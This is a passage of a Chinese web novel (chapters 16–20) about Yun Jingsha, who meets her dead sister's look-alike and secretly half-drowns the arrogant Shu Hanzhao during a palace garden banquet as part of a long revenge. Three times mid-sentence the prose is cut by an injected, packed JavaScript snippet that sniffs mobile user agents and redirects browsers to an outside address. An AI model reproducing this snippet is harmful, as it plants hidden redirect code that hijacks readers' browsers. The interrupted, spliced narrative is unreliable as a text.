男童从地上爬起,拍了拍衣摆,面红耳赤地对云镜纱拱手,“这位姐姐,是我莽撞,我向你赔罪。” 眼前的男童六岁左右,胸前挂着金锁玉,宝石蓝的窄袖交领锦袍,腰上系着两个虎头小香包与环形玉佩,虎头虎脑,生得很是出色。 云镜纱摇头笑,“没关系,不过下次走路可得看着些。” 男童抬头看她,脸色发红,“好、好……” “廷儿!” 被奴仆簇拥的夫人快步走来,拉着男童上下端详,见他无事方松了口气,狠狠戳了下他额头,“让你慢些,你就是不听。” 男童讷讷,“娘,我知错了。” 夫人拍了下他头,“回去再教训你。” 她直起身,歉疚道:“这位姑娘,小儿莽撞,实在抱歉。” “我并无事,夫人不必愧疚……” 看清夫人的长相,云镜纱脸上的笑倏地僵住。 女子着碧色兰花暗纹衫子,东方既白曳地长裙,长发斜斜挽在脑后,发尾垂在胸前。 发上两朵简单的珍珠兰花簪,白皙修长的颈上挂着玉坠子,细弱腕子戴着一对羊脂玉镯,素雅清淡,却又不失富贵。 更难得的是她那张脸。 两道弯眉似柳叶,水眸温和如春水,唇色略淡,如三月春樱。眼下一点红痣,为那张淡雅面容增添几分艳色,略施粉黛,却已是人间绝色,天上仙娥。 云镜纱死死盯着她的脸。 牙齿狠狠咬着脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279142|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊肉,咬到唇齿间溢满血腥味,她才能竭力忍住嘴边的那句—— 姐姐。 连茱不明所以地看着眼前的少女,“姑娘?” 云镜纱松开牙齿,将口中血水咽下,轻柔的嗓音带着不易察觉的颤抖。 “……小事而已,夫人不必多礼。” 连茱松了口气,对她温柔一笑,拉着男童快步离开。 离得远了,还能听见她教训男童的声音。 “还好那姑娘不介意,下次不准再这么莽莽撞撞的,听见了没?” “知道了知道了娘,我会注意的。不过娘,方才那位姐姐生得真好看。” “你才多大就贪花恋色,等回去了,我非得让你爹好好教训你一顿不可。” “娘!那不叫贪花恋色,那叫欣赏,欣赏!方才那位姐姐和娘一样好看,我只是多看两眼罢了。” 云镜纱恍惚站在原地,脑子仿佛被人敲了一棍,敲得她后脑闷痛,不知今夕何夕。 她双脚发麻,手指颤抖,却还维持着正常模样,笑着问同在园子里的姑娘。 “这位姑娘,方才那位夫人,不知是哪家的?” 绿衣姑娘生得面善,看得出云镜纱初来乍到,待她倒也温和,出声为解释。 “那是靖国公府舒世子的妾室,连姨娘。” 云镜纱听见自己问:“连……姨娘?” “是啊。” 绿衣姑娘点头,偷偷凑近云镜纱,小声道:“听说九年前舒世子离京时偶然见了尚在闺中的连姨娘一面,对她一见倾心,非她不可,可惜连姨娘不过小小县令之女,只能入府为妾。多年来,舒世子对她宠爱有加,不仅为她遣散姬妾,还为了她至今未娶。因此这位姨娘虽是妾室,却是当家主母的做派。起初国公爷对她很是不满,但等她诞下长子,见世子痴情不改,便也随他去了。” “那方才那小公子说的射柳是?” 绿衣姑娘给她指了指,“男客们在那边射柳,舒世子向来喜爱射御之术,想来是也下场了吧。” 云镜纱含笑致谢,“多谢姑娘告知。” 绿衣姑娘摆摆手,与云镜纱告别,沿着小径去了凉亭。 云镜纱:“我们也去看看吧。” 话落,不等尹寻春和敏良回应,她已快步迈进。 二人急忙跟上。 湖边。 身形高大的男子双眼蒙纱,一剑射穿柳叶,引得无数喝彩声。 他扯下眼纱,将手中弓箭扔给身后小厮,大步朝外走。 男童满脸兴奋朝他跑去,男子一把将男童抱起,低头与身侧女子说话,冷峻的神色瞬间转为温和。 女子迎着他的视线抬头,阳光下,清丽无双的眉眼蕴着无限柔意。 云镜纱远远看着,指甲深陷肉中。 那不是姐姐。 姐姐眼下没有痣,不会对舒晋露出那样温柔的神情,也绝不会和舒晋孕育子嗣。 她的姐姐早就已经死了,十年前就死了! 那是舒晋找来的,姐姐的替代品。 即便如此,云镜纱心里依旧恨得滴血。 她见不得有个女人用和她姐姐如此相似的面容,和舒晋鸳鸯比翼,琴瑟和鸣。 舒晋,他怎么敢!怎么配! 云镜纱蓦地转身,眼中淬着慑人的冷意。 不知走了多久,一道身影让她从极怒中醒过神。 看了她片刻,云镜纱眸色幽暗,口中虚弱,“敏良,我的鞋好像坏了,你可否去给我拿一双新的?” 17. 第 17 章 敏良问:“姑娘的鞋坏了?” “是啊。” 云镜纱柔弱笑笑,垂眸掀起裙摆,暖阳之下,有道不起眼的光芒飞快掠过。 “我说怎么越走越不对,原来是鞋坏了。” 裙摆之下,绣鞋不知被什么东西刮破,划了好大一个口子,露出雪白罗袜。 的确是不能穿了。 云镜纱抚了抚额角,“这太阳晒得我有些头晕,劳烦敏良了。” 人若是不舒服,性子难免急躁些。 她方才的异常在敏良眼里有了解释。 敏良睃巡着,体贴道:“那边有个凉亭,姑娘坐会儿,奴婢去去就来。” 云镜纱笑,“好。” 扶着云镜纱在凉亭坐下,敏良道:“寻春,照顾好姑娘。” 尹寻春拍胸膛保证,“敏良姐姐放心。” 目送敏良远去,云镜纱闭了闭眼,声如寒冰,“去把舒含昭引到隐蔽角落。” 舒晋该死,舒含昭一样该死。 尹寻春不问为什么,脆生生应道:“好。” 出于习惯使然,她已经把园子里所有隐蔽的地方都记下了。 找出最偏僻,不容易被人察觉的一个,尹寻春脚步轻快地往某个方向走去。 园内热闹声远远传进耳中,云镜纱仰头望着碧蓝天穹。 琥珀色瞳眸在金色阳光下映照出琉璃般的清透光芒。 点点晶亮在眼中流转,最终沉入眸底,遍寻不见。 …… 舒含昭与孟月珍站在茶花树前。 孟月珍摘了朵红艳的十八学士在手里把玩,“这么说,你还真准备给那姑娘寻门亲事?” “当然。” 舒含昭甩甩帕子,“人我都挑好了。” 孟月珍好奇,“谁?” “侍卫司马帅薛大人家的幼子。” 孟月珍蹙眉想了片晌,迟疑道:“那位薛公子,似乎已经娶亲了?” 况且,她貌似听说过那位薛公子性情不太好,易怒易躁,还曾闹出过人命,如此人物,着实不是良配。 想起云镜纱那张堪称绝色的脸,孟月珍有些不忍,“好歹也是常远侯的救命恩人,若是让她做妾,岂不是有失侯府颜面?” 舒含昭不屑,“一个乡下孤女,能嫁进这等重臣院门,是她的福气。” 她不甚在意道:“这只是其中一个人选罢了,这个不成,我还有下个。” 孟月珍眉心微蹙,想劝两句,可看舒含昭眉宇神色,只好笑笑不说话。 舒含昭抬指勾了勾面前一朵绚烂茶花,“你这花开得倒是……” “啪嗒——” 一个“好”字尚未吐露,舒含昭直愣愣地看着手中黏腻的不明物体。 下一瞬,几坨白色物体啪嗒啪嗒掉在她手臂、衣裙上。 “啊!” 陡然一声惊恐尖叫唤醒了在场众人的神志。 头顶树荫上传来叽叽喳喳的鸟叫声,孟月珍急忙往后避开,“还不快把这些鸟赶走!” 宫人们应是,匆匆去拿杆子。 舒含昭脸色苍白,疯狂甩着手上的东西,一边干呕。 黛春掏出帕子,憋着气替她把手心和衣服擦干净。 即便是擦掉了,舒含昭也觉得不干净,鼻尖似萦绕着一股难闻异味。 她几欲崩溃,“我要净手,换衣!” 孟月珍忙道:“先拿我的换上。” 一听这话,舒含昭掉头就走。 黛春夏琼与几个小丫鬟快步跟上,主仆几人脚步匆匆,眨眼就消失在花丛后。 两名宫人无所适从地立在原地,犹疑着问:“公主,奴婢们要跟上吗?” 孟月珍唇边溢出浅笑,“昭昭来我府中多次了,能找着路。何况她不喜陌生下人服侍,你们去了也是添乱,就在此处候着吧。” 两名宫人应承,“诺。” …… 舒含昭阴沉着脸,步子迈得极快。 一想到身上那些肮脏物,她就浑身不适,恨不得把身上一层皮给换了。 黛春夏琼小跑追上,“夫人,您慢些!” 小腿蓦地一痛,黛春身子不稳,骤然趴跪下,掌心狠狠擦在地面,痛得她当场红了眼。疾走的夏琼没注意,勾住了黛春的脚,重重摔在地上。 身后小丫鬟不防二人忽然倒下,没刹住脚,整个扑了下去。 一个连带着一个,转瞬摔成一团,尖叫连连,痛呼声不断。 沉浸在恶心崩溃中的舒含昭丝毫没听见身后的动静,脚步不停地向前迈进。 走到岔路前,她脚底忽然打滑,趔趄摔倒。 “嘶。” 舒含昭痛得险些掉了泪。 双手撑在地上,袖子近在咫尺,上边的痕迹清晰可见,舒含昭呼吸一窒,骂道:“人呢?都死哪儿去了?” 无人回应,舒含昭又痛又恶心,红着眼爬起。 站立后才发现,黛春和夏琼不在身后。 舒含昭恨不得扒了身上衣物,一息也等不了,刚要抬脚,发现玉环掉在了其中一条路上。 想来方才就是它掉下绊住了她。 舒含昭气得一脚把它踢开,下意识往前走。 两侧假山嶙峋,雪松青竹苍翠,路越走越偏僻,舒含昭察觉到了不对。 她停下脚步,拧眉望了两眼,正欲转身折返。 衣裙蓦地被掀起,兜头蒙在她脸上。 一只手捂住她的嘴,把她的尖叫声堵在喉咙里,胡乱挥动的双手被擒住束在背后。 舒含昭拼命挣扎,却敌不过对方的力气,踉跄着被拉扯到了某处。肩背手腿撞在坚硬上,撞得她生疼。 背上一阵大力袭来,她像条狗一样被压在地上,脑袋猛地被摁进水里。 湖水从浸湿的布料涌入口鼻耳中,窒息感涌上心头,舒含昭整个人动弹不得,任人宰割。 云镜纱冷冷睨着她的背影。 高傲得不可一世的靖国公府金枝玉叶,此刻就如板上鱼肉,是死是活均由她掌控。 记忆中那张稚嫩冷傲的脸在脑海中浮现,她轻飘飘一个动作,就毁了她拥有的一切。 爹娘、大姐姐,妹妹。 没了。 她拥有的,一个都没了。 在常远侯府见到舒含昭的那一刻,她忍了。 可今日看到的那张脸勾起了云镜纱压抑多年的愤怒与恨意,她恨不得当场溺死她,再冲出去杀了舒晋。 可惜,此刻还不能。 但若是让她什么也不做,她怕自己会发疯。 云镜纱胸前剧烈起伏,眼睛发红,宛如泣血。 她强行忍下,眸底波动渐渐平缓。 哪怕再难,她也要把靖国公府连根拔起,把姓舒的,挫骨扬灰。 她要看着他们倚仗的高楼坍塌,打碎他们的骄傲,将他们的罪行公布于众,在世人的唾骂声中送他们去死。 手中人挣扎的力度减弱,云镜纱抓住舒含昭的脖子将她拉起。 “哗——”的一声,溅起的水珠落在她脸上,卷翘睫毛被沾湿,仿佛一滴滴眼泪从脸颊上流淌而过。 舒含昭想尖叫,发出的却是一阵呛咳,脑袋藏在湿漉裙中,视线被遮挡,看不清背后之人的模样,哑着嗓音恨道:“你是谁?你敢动我,国公府和侯府,太后娘娘陛下都不会放过你的……” 寻春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟月珍:“听说是常远侯失踪时将他救下的姑娘,那姑娘双亲早亡,常远侯便将她带回京,顾念着救命之恩,准备为她寻门亲事。舒家妹妹今日来,就是为她择婿的。” 说起此事,孟月珍有些无奈。 今日分明是她相看,舒含昭离开后不久,她便接到皇兄到来的消息,到现在连个男子的面都没见。 闻人故心里咯噔一下,下意识朝孟桓启看去,果真见他眸中温度冷了三分。 要死啊,这许玉淮和舒含昭的脑子是被驴踢了?居然给这位看上的姑娘择婿? 嫌活太长了? 孟桓启启唇,嗓音冷冽,如临寒雪冰川,“看的哪家?” 孟月珍虽不解孟桓启为何对此事有兴趣,却也没替舒含昭遮掩的意思,“侍卫司马帅……” 假山之后,舒含昭已经没了力气挣扎,瘫软在地,面上蒙着湿布,眼里溢出屈辱愤恨的泪水,嘲哳嗓音已含了哭腔,却仍在叫嚣,“……我定要把你碎尸万段,五马分尸。” 脚边忽地落下几枚碎石子。 有人来了。 云镜纱当机立断,面无表情地直起身,手上用足了劲,狠狠将舒含昭推下水。 “哗啦——” 巨大落水声砸响,水浪高高溅起,这一变故打断了孟月珍的话。 “啊!” 看清有道身影在水中挣扎,孟月珍一惊,急道:“快去救人。” 18. 第 18 章 几名宫人着急忙慌跑向湖边。 其中一人认出舒含昭,惊叫一声,“长公主,是常远侯夫人!” 孟月珍震惊,“舒含昭?她怎么会落水?” 她忙道:“还不快把人救上来!” 孟月珍又对身后宫人道:“快去请舒世子。” 宫人应,“诺。” 两名会水的宫人脱了衣物下水,将挣扎的舒含昭带到岸边。 她双眼紧闭,脸色苍白,发丝湿漉漉地贴在侧脸,脸颊上遍布水痕,被打湿的衣衫贴在身上,勾勒出玲珑身段,脖颈白得发光,修长又脆弱。 向来矜傲明艳的美人露出这般脆弱的姿态,难免令人怜惜。 在场世家子弟中,懂礼的早已避开了视线,也有色胆包天的,悄悄看了一眼又一眼。 孟月珍察觉到了,蹙眉瞪过去,吩咐道:“还不快给侯夫人披件衣服?” 一名宫人褪下外衫,披在舒含昭身上。 虽已转暖,可在水下走了一遭,风一吹,舒含昭不觉打了个哆嗦,悠悠转醒。 睁眼的一刹那,昏迷前的屈辱涌上心头,舒含昭恨得心头滴血,“混账,我要剥了你的皮做扇,抽了你的骨头喂狗!” 嗓音里的戾气暴怒令在场之人头皮发麻,纷纷垂下头去。 孟月珍忙问:“昭昭,好端端的,你怎么会落水?” 这一声稍稍唤醒了舒含昭的神志,她抬眼,瞳孔骤缩,“……表哥?” 再一看,“郡王?” 又一眼,“敏淑?” 数十名世家子弟的身影映入眼帘。 舒含昭僵硬地低下头,瞧见了自己此刻的模样。 衣衫凌乱,身上盖着一件陌生衫子,发上水珠很快将衫子打湿,勾勒出饱满的弧度。 “啊!”她崩溃大喊:“背过身,你们都背过身去!” 这一刻,她恨不得晕死过去。 公子们一阵轻咳,侧过身子。 孟月珍觑了眼孟桓启,又看了看舒含昭,眸色冷淡。 “昭昭!” 一名男子飞奔而来,直直冲向舒含昭,面容紧张担忧,“怎么样,可有事?” “哥!” 舒含昭扑进来人怀中崩溃大哭,“有人辱我,推我下水,把他找出来,我要杀了他,杀了他!” 紧随而来的连茱拉着儿子舒廷的手,对孟桓启行了礼。 待他点头后,快步走到舒晋身边,小声道:“昭昭,陛下还在,慎言。” 舒含昭听不进去,“滚,你算什么东西,用得着你教训我?滚开!” 连茱难堪抿唇。 舒廷气鼓鼓地瞪了舒含昭一眼。 舒晋面色淡了淡,松开拥着舒含昭的手,对孟桓启拱了拱手,“陛下,舍妹无故遭此大难,还请陛下彻查,揪出幕后之人,还舍妹一个公道。” 他的五官与舒含昭有几分相似,剑眉星目,英挺俊美,黑眸沉沉,眉宇间自有一股慑人的压迫感。 这是久经上位之人独有的威严。 靖国公府世子舒晋,时任兵部尚书。 孟桓启挥手。 他身后,一直沉默静立的殿前司都指挥使武稷点了下头,领着几名近卫上前查探。 半晌后,武稷摇头,“陛下,无人。” “怎么可能?!” 舒含昭瞪大眼,“表哥,这么短的时间,他不可能逃,一定还在!” 孟桓启负手而立,“推你下水之人,是男是女?” “是个男子!不对……”舒含昭蹙眉,不确定道:“好像又是女子?他从头到尾都没出过声。” “哎呀呀。” 闻人故打开扇子,无奈摇头,“是男是女,是高是矮,是胖是瘦,一无所知,这怎么找?” 舒含昭咬唇,眸色阴沉。 舒晋垂睫:“请陛下下旨,彻查长公主府。” 孟月珍脸色一变。 孟桓启平声,“皇家近卫大张旗鼓搜查长公主府,是想告诉世人,朕与敏淑兄妹不睦?” “此番将敏淑的脸面置于何地?” 此话一出,众位世家子弟与宫人纷纷跪地。 “陛下息怒。” 舒晋气息一沉,“臣不敢。” 他虽说着不敢,神色却有些不以为意。 孟月珍神色微变,笑着打圆场,“皇兄,毕竟是昭昭受了委屈,这样吧,让舒世子带人悄悄地查。不过今日开宴,世子可要当心些,莫要毁了我的花,惊扰了众位女眷。” 孟桓启看了眼孟月珍,并未反驳。 舒晋拱手,“多谢长公主。” 孟月珍笑意浅浅,“舒世子快些带昭昭去换身衣裳吧。” 舒晋颔首,“陛下,长公主,臣告退。” 弯腰抱起舒含昭,大步离去,不忘叫连茱,“茱儿,跟上。” “诶。” 对孟桓启服了一礼,连茱牵着舒廷跟上。 舒廷撅着嘴小声道:“姑姑也没受伤,查什么查?” 连茱:“不许乱说,那是你姑姑。” 舒廷哼声,“她不尊重娘亲,我也不把她当姑姑。” 连茱摸了摸儿子脑袋,“那是长辈,你即便是不喜她,面上也得过得去。不需要她多喜爱咱们母子,只要你爹爹心里有我们就好了。” 舒廷重重点头,拉着娘亲跟上爹爹。 目送几人离去,孟月珍侧眸看着孟桓启,“皇兄,咱们接着逛吧。” 他摇头,“朕回宫。” 孟月珍眉尾微动,倒也没挽留,笑道:“皇兄慢走。” 孟桓启略一点头,转身带着人离去。 恭敬的声音在身后齐道:“恭送陛下。” …… 毫不犹豫把舒含昭推下湖,云镜纱当即转身,身影隐入假山后。 尹寻春敏捷地从树上落下,勾住云镜纱的腰,一把将她抱起,足下飞快远离此地。 她瞧着比云镜纱还要矮半个头,但力气极大,抱着云镜纱毫不费劲,形如鬼魅,顷刻间已离了有半里远。 避着人回到方才的亭子,尹寻春把云镜纱放在石凳上。 少女垂眼蹬掉脚上划破一道口子的绣鞋,擦去面上水珠,整了整略显凌乱的发丝和领口袖口,眉眼冷淡,“可有人追上来?” 尹寻春蹲在云镜纱脚边,替她理顺裙子,摆了摆脑袋,骄傲扬起下巴,一脸的得意,“姑娘还不相信我的本事?别说是没有,就算有人跟上,也追不上我。” 云镜纱摸她脑袋。 起初只是勾了勾唇,后来,笑容越来越大,她弯着眼,满脸都是笑,笑得畅快极了。 整整十年,没哪日比今日更畅快。 “寻春,我好高兴。” 尹寻春托着下巴,眼睛亮晶晶的,“只是教训她一顿,姑娘就这么高兴,若是有朝一日大仇得报,姑娘还不得兴奋地飞上天去?” 云镜纱忍俊不禁,“我飞不上天,但能放一晚的烟花。” 尹寻春目露期待,“好啊好啊,到时候我也要看!” 云镜纱拍拍她脑袋,语气笃定,“一定。” 主仆俩在凉亭等了两刻钟,敏良急匆匆回来了。 “等久了吧?” 她从布包里取出一双新鞋,“姑娘快换上。 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如云乌发一半散在背后,簪着两支素白玉簪,鬓边一朵似雪观音白,亭亭立在满树茶花前,说不清是花美,还是人更美。 尹寻春立即称赞,“好看,姑娘最好看了。” 云镜纱轻轻一笑。 有风过,少女眉间含笑,裙裾微扬,身后茶花轻晃,似在为她欢呼。 宛如观音白成精化形,绰约多姿,娉婷秀雅。 哪怕未曾开口,也吸引了无数视线。 “咱们就这么走了?你就不想见见那姑……咦,你看什么呢?” 闻人故伸手在孟桓启眼前晃了晃。 孟桓启眸光微漾。 收回目光,他默了两息,冷声道:“薛伯昌家中可有适龄公子?” 闻人故皱眉沉吟,“好似没有。问这个作甚?” 孟桓启眉间泛冷,“敏淑说,舒含昭为她选了侍卫司马帅家。” 闻人故瞪大眼,“什、什么?” 这是要让那姑娘做妾? 闻人故忍不住道:“这也太不像话了。” 侍卫司薛伯昌,那一家子都不是什么好相与的,好端端的,也不能把救命恩人送去那种人家做妾啊。 这是报恩还是结仇啊? 孟桓启:“你去解决。” 闻人故点了下头,旋即察觉到了不对,“为什么要我去?” 孟桓启沉默片晌,“朕最信你。” 这话一出,闻人故瞬间眉开眼笑,拍了拍孟桓启的肩,笑吟吟道:“好好好,表弟放心,一定给你办好了。” 孟桓启敷衍地“嗯”了一声,往某个方向又看了眼,垂了垂睫,大步离去。 闻人故乐滋滋地跟上,“话说,方才武稷当真没找着人?” 武稷:“……是。” 闻人故惊讶。 他表弟向来厌恶舒含昭,他还当是他故意让武稷这么说的,原来真不见人。 闻人故摸下巴沉思,“什么人这么有本事,竟然连你也抓不住。” 武稷眼皮抽了抽,沉默不语。 闻人故啧啧有声。 走出几步,他忽然驻足。 不对啊。 他表弟方才,是不是在看那姑娘? 闻人故回头,循着孟桓启方才的视线看去。 假山遮挡了视线,别说姑娘了,连个人都瞧不见。 闻人故举着扇子拍了拍头,一脸懊恼。 大好的机会,就这样从他手里溜走了。 他只是想看看那姑娘生得什么样,又不是要和他抢,用得着这么严防死守么? 19. 第 19 章 云镜纱又捡了朵观音白拿在手里把玩。 寻春在凉亭里告诉她,方才那些人里,有上次去常远侯府做客的男子。 她微微低头,鼻尖轻触微凉花瓣。 也不知,他能不能看见。 唇角微勾,少女笑意轻柔似风。 “咦,舒世子怎么来了?” 几步之外的姑娘疑惑出声。 云镜纱手骤然一紧,手中茶花被掐得变了形,有花汁淌出,落于白皙指腹。 她缓慢回首。 舒晋带着舒含昭与连姨娘母子,缓步朝此处走来。 云镜纱呼吸快了两瞬,松开手,茶花从她手中跌落,砸在裙摆上。 她两指重重一捻,擦去指腹湿润。 “舒世子,侯夫人。” 来往贵女纷纷与二人见礼,云镜纱听见舒晋对连茱道:“茱儿,你若是累了,就带廷儿去旁边坐会儿。” 茱儿。 云镜纱掐住食指指腹。 大姐姐小字阿珠,连名字都要和她这么像吗? 云镜纱目光沉沉看着两人。 连茱对他笑着摇头,“我不累。” 舒晋将她脸侧落发勾在耳后,动作温柔,二人目光相对,柔情缱绻。 许是云镜纱看得太过专注,阴沉着脸四处睃巡的舒含昭对上她的视线,蓦地出声,“你,过来。” 云镜纱指上力道一松,迷茫地指了指自己,“夫人在叫我?” 舒含昭不耐,“滚过来!” 大庭广众之下被她如此呵斥,云镜纱红了眼,抿抿唇,在诸位贵女怜悯的视线下走向舒含昭。 她耳尖地听见她们的窃窃私语。 “这姑娘是谁?怎么这么倒霉撞上了那位煞神。” “舒家那位怎么了?一脸的煞气。” 有消息灵通的姑娘小声道:“听说她被人推下了湖,正发疯找人呢。” “哪位英雄豪杰替我出了气,怎么没淹……” “嘘,小声点。” 姑娘旁边的人慌忙拉住她,神色惊慌,“那可是舒家长女,你敢惹她,不要命了?你忘了……” 剩下的云镜纱听不清了。 她走到舒含昭身前,语气含怯,“夫人可是有事寻我?” 舒含昭浑身发疼,火气极大,锐利凤眼将她全身打量个遍,嗓音发沉发冷,“我问你,你方才在何处?” 云镜纱不解,“在凉亭。” “就你一人?” 云镜纱摇头,“还有我的婢女。” 舒含昭扫了眼尹寻春和敏良,“你在凉亭作甚?” 云镜纱咬咬唇,“我的鞋坏了,让婢女替我去取一双来。” 她指了指敏良,“夫人若是不信,可亲自查看。或是问马夫,敏良去取鞋,他定是知道的。” 舒含昭怎么可能亲自查看,眼中闪过厌恶,冷声吩咐人去问马夫。 黛春脚伤有些严重,此刻跟在舒含昭身边的大丫鬟唯有夏琼。 她低头应了声是,转身时,云镜纱看见她侧脸上印着的红色掌印。 看来,舒含昭当真发了好大的火。 少女半垂着头,眉宇怯怯不安,连茱看了有些不忍,拉了拉舒晋的衣袖。 舒晋不解,却敌不过她的恳求,只好道:“昭昭,这姑娘弱质纤纤,看着不像那人,让她在一旁候着,你接着找。” 从见到云镜纱的第一面起,她就是这弱柳扶风的柔弱之姿,那该死的把她推下水的贱.人力气极大,两人的确不像。 今日本想带她与薛公子见一面,可发生的一切着实让她没了那个心情。 薛公子何时都能见,但今日若是不把那人找出来挫骨扬灰,她难消心头之恨。 舒含昭满脸厌憎,“滚一边去!” 云镜纱眼里含泪,红着眼,含羞带辱退开。 她站在茶树前,垂头不语,像是要把自己藏起来。 有道视线落在她身上,云镜纱抬眸。 连茱牵着舒廷,正担忧地看着她。 神态像极了姐姐。 云镜纱眸光一颤。 她讨厌这个女人,可看着她,恍惚间好像回到了幼时。 她和小圆虽是双生,但长相性子皆不同,小圆生性好强,闹矛盾时,她很少能吵得过她。 吵不过她就哭,一听她哭,姐姐就会放下手里的针线,把她抱在怀里温柔地哄,轻轻给她唱歌谣。 气得小圆鼓着腮帮子说她爱哭鬼。 她现在都还记得,那时的阳光和现在一样温暖。 同样的春日,同样的一张脸,却是不同的人。 云镜纱垂下眼睫,盖住眼里破碎的光。 “姑娘。” 敏良担心她难过,试图转移她的注意力,“夏琼还得一阵才能回,咱们去亭子里坐会儿吧。” “不用,就在这儿吧。” 云镜纱整理好情绪,轻声道。 她抬眼,避开连茱的方向,安静看着园子。 舒含昭命人把守住园子的出口,不准一人离开,让贵女宫人们列队到她跟前,一个个看过。 被她拦住的贵女敢怒不敢言,气得俏脸通红,却说不出拒绝的话。 这府邸的主人敏淑长公主甚至都没出面。 靖国公府舒家,当朝太后的外家,门生遍布朝野,权势滔天,面对舒含昭一个国公府长女,哪怕是敏淑长公主也得退让三分。 她如此跋扈霸道,只因她有的是嚣张的资本。 半个时辰后,夏琼回来了,低声与舒含昭耳语。 她看了云镜纱一眼,转过头去继续盯着人看,手指烦躁地在侧额敲了敲。 找了快一个时辰,舒廷有些撑不住,舒晋便让人送连茱回府,他则陪着舒含昭继续找。 云镜纱也有些站累了,跺了跺脚,在茶树前走了两圈。 午时已过,舒含昭还没找出人来,贵女们已饥肠辘辘,怨声载道。 敏淑长公主跟前的宫人莲步轻移至舒含昭面前,温声道:“侯夫人,宴席已备好,不若先与众位贵女去用膳,膳后再接着找。您就是再生气,也不能亏待自己不是?” “顾女官说得是,这都什么时辰了,她不饿我还饿着呢。” “是啊,午时了,也该用膳了。” 碍于不远处的舒晋,贵女们不敢大声喧哗,只能低声抱怨。 舒含昭眉头一拧。 “不早了,你该用膳了,吃完哥哥再陪你接着找。” 舒晋拍着舒含昭肩膀,压低的嗓音里带着狠辣之意,“伤了你的人,哥哥无论如何都不会放过。” 舒含昭展颜,凤眸里星光熠熠,“哥哥疼我,我自是知道的。” 哥哥极为护短,哪怕是当年为了她杀了那女人的爹,事后也从未对她说过一句重话,依旧疼宠有加。 舒含昭徐徐起身,下巴轻抬,慢条斯理道:“走吧。” 女官顾蓉面上含笑,“侯夫人这边请。” 舒含昭打头,率先出了园子。 到了摆席的花厅,孟月珍从席位上起身,笑道:“快来,菜还热着,来尝尝我这公主府厨子的手艺。” 她吩咐宫人们,“给诸位姑娘上茶,这一上午定是又渴又饿,上好的云雾茶,正该用来配花一样的姑娘。” 态度温和,言语亲近,令不少姑娘面露感激之色。 “还是长公主好啊,侯夫人一个国公之女,竟比皇室公主还要跋扈。” 云镜纱坐在角落,听见身侧的姑娘小声与婢女说话。 那婢女面色微变,低声道:“姑娘,慎言。” 姑娘扁扁嘴,倒是不再开口,端着白玉茶杯慢慢喝着茶。 云镜纱往上首看了一眼。 孟月珍与舒含昭坐在一处,姿态亲昵,神情温和。 她垂眸,浅浅抿了口茶水。 入口清新似晨风,后转为醇厚,滑过喉咙时又有甘甜萦绕。 口感丰富,余韵悠长。 不愧是贡茶。 与敏淑长公主一样难得。 长公主府的厨子手艺的确不错,大部分菜肴云镜纱从未见过。 吃了小半碗饭,又喝了碗当归乌鸡汤,云镜纱端着茶杯小口抿着。 大概是忙着继续找人,舒含昭吃了半碗饭就放了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个小姑娘摔成一团,小圆动作敏捷地翻身骑在小雨身上,两只手恶狠狠地掐着她的脸,“你错了没?” 小雨哇哇乱叫,两只手胡乱地去挠身上的人,“没错没错,我没错。” 小圆气得不行,伸手挠她痒痒,小雨一边叫一边笑。 “错没错?” “我哈哈哈我没……没哈哈哈……别挠了,小圆哈哈哈别挠了……” 小圆哼声,得意道:“你认错我就饶了你。” 小雨扁嘴,呜呜地喊:“姐姐,大姐姐!大姐姐救我!” “怎么了?” 脚步声渐近,十一二岁的小少女匆匆走出门,只见妹妹们滚成一团,头发散了,衣衫凌乱,雪团似的脸上东一道西一道墨痕,活像两个小疯子。 她忙道:“别打别打,小雨小圆,不可以打架。” 小少女把小圆抱起,拍了拍她身上的灰,又把小雨抱起来,将她整理一番,拉着两个妹妹到椅子上坐下,一边抱了一个,轻声轻语地哄。 “小雨,以后不可以在妹妹练字的时候打扰她。” “小圆,不可以打姐姐哦。” 小圆鼓着腮帮,“她不弄坏我的字,我才没工夫和她生气呢。” 小少女拧眉看向小雨,小雨立即抱着她撒娇保证,“姐姐我错了,小圆对不起。我方才在扑蝶,真的是不小心。以后我会注意的。” 小圆面色好转,“行,下次你再犯,我肯定不会轻易放过你。” 小雨嗯嗯点头。 小少女笑,“你们是除了爹娘之外最亲密的存在,要好好相处,一起长成最优秀的姑娘。” 小雨忙道:“还有大姐姐,大姐姐最好了,我要永远和大姐姐在一起。” 小圆哼了声,“马屁精。” 她伸出小手抱住姐姐,犹豫片刻,敷衍地抱了下小雨。 少女环住两个妹妹,眉目温柔,嗓音轻轻柔柔的,似一缕清风。 “好,大姐姐也会一直陪着小雨小圆,看着你们长大。” 20. 第 20 章 云镜纱推开窗,触了满手的风。 脸侧发丝随风而动,含着些微痒意。 她仰头望着蔚蓝天幕,梦中一切浮现在眼前,久久不散。 可惜,她终究还是没能陪她们长大。 她茕茕孑立十年,而小圆,再也长不大了。 “敏良姐姐,昨日宴会上发生了什么?听说夫人院里从昨夜开始就在闹,闹得今晨侯爷都没去上衙。” 芳音凑到敏良边上,满脸的好奇。 敏良一向不说主子是非,继续做着手里的事,摇了摇头,“少打听这些。” 芳音拉着她不放,“好姐姐,我一定不传出去,你就跟我说说。” 